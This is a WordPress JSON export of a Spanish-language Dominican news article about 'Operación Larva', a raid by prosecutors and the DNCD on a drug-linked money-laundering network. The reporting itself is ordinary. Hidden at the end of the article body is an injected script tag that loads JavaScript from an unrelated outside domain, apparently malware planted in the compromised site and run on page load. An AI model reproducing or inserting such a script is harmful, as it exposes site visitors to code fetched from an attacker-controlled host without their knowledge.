{"id":261048,"date":"2021-10-27T14:06:18","date_gmt":"2021-10-27T18:06:18","guid":{"rendered":"https:\/\/equilibriodigital.com.do\/site\/?p=261048"},"modified":"2021-10-27T14:06:18","modified_gmt":"2021-10-27T18:06:18","slug":"operacion-larva-desarticula-un-entramado-de-lavado-de-activos-del-narcotrafico","status":"publish","type":"post","link":"https:\/\/equilibriodigital.com.do\/site\/operacion-larva-desarticula-un-entramado-de-lavado-de-activos-del-narcotrafico\/","title":{"rendered":"Operaci\u00f3n Larva desarticula un entramado de lavado de activos del narcotr\u00e1fico"},"content":{"rendered":"<p><strong>SANTO DOMINGO).-<\/strong> El Ministerio P\u00fablico desarrolla este mi\u00e9rcoles, junto a la Direcci\u00f3n Nacional de Control de Drogas (DNCD), la denominada Operaci\u00f3n Larva, para desmantelar una amplia red de lavado de activos vinculada a una organizaci\u00f3n criminal a la que se le arrestaron 16 personas, al traer desde Colombia,\u00a0 en marzo del a\u00f1o pasado, una embarcaci\u00f3n con 700 paquetes de coca\u00edna clorhidratada.<\/p>\n<p>La Operaci\u00f3n Larva forma parte de la nueva estrategia que desarrolla el Ministerio P\u00fablico encabezado por la procuradora general Miriam Germ\u00e1n Brito y la gesti\u00f3n de la DNCD que dirige el vicealmirante Jos\u00e9 M. Cabrera Ulloa contra el crimen organizado, la cual se enfoca en desarticular las redes dedicadas al narcotr\u00e1fico, sin dejar de poner especial \u00e9nfasis en las estructuras financieras que sustentan las actividades del lavado de activos.<\/p>\n<p>La operaci\u00f3n puesta en marcha este mi\u00e9rcoles por las autoridades tiene entre sus objetivos el arresto de varias personas de la organizaci\u00f3n criminal, para lo cual se realizan allanamientos en el Distrito Nacional, Santo Domingo (Este y Oeste), San Crist\u00f3bal y Punta Cana.<\/p>\n<p>Los fiscales buscan evidencias relacionadas con el lavado de activos, as\u00ed como a otros delitos.<\/p>\n<p>El Ministerio P\u00fablico explic\u00f3 que el 16 de marzo de 2020 las autoridades apresaron en flagrante delito a 11 personas, al interceptar una embarcaci\u00f3n en la costa de Nigua, San Crist\u00f3bal, que proven\u00eda desde Colombia y que ten\u00eda a bordo 700 paquetes de coca\u00edna clorhidratada. Luego las autoridades arrestaron a otras cinco personas vinculadas a la red criminal que mov\u00eda la droga.<\/p>\n<p>La investigaci\u00f3n arroja que el 28 de agosto de 2019, las autoridades arrestaron en el Distrito Nacional a dos personas al interceptar dos veh\u00edculos, incluyendo una yipeta que ten\u00eda un compartimiento secreto en el interior, en el que se encontr\u00f3 un fusil, una pistola y dos tel\u00e9fonos satelitales. En el operativo se ocuparon 20,000 d\u00f3lares en la vivienda de donde salieron los arrestados.<\/p>\n<p>Las autoridades tienen identificados a varios integrantes de la poderosa organizaci\u00f3n del crimen organizado, ligada directamente con el lavado de activos, el narcotr\u00e1fico y porte y tenencia ilegal de armas de fuego.<\/p>\n<p>En la operaci\u00f3n que coordina la Direcci\u00f3n General de Persecuci\u00f3n, trabajan la Procuradur\u00eda Especializada de Antilavado de Activos y Financiamiento de Terrorismo, la Fiscal\u00eda de San Crist\u00f3bal, el Centro de Informaci\u00f3n y Coordinaci\u00f3n Conjuntas de la DNCD y la Direcci\u00f3n de Inteligencia Financiera del organismo antinarc\u00f3ticos.<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>SANTO DOMINGO).- El Ministerio P\u00fablico desarrolla este mi\u00e9rcoles, junto a la Direcci\u00f3n Nacional de Control de Drogas (DNCD), la denominada Operaci\u00f3n Larva, para desmantelar una amplia red de lavado de activos vinculada a una organizaci\u00f3n criminal a la que se le arrestaron 16 personas, al traer desde Colombia,\u00a0 en marzo del a\u00f1o pasado, una embarcaci\u00f3n &hellip;<\/p>\n","protected":false},"author":1,"featured_media":28583,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[36],"tags":[],"class_list":["post-261048","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-justicia"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin 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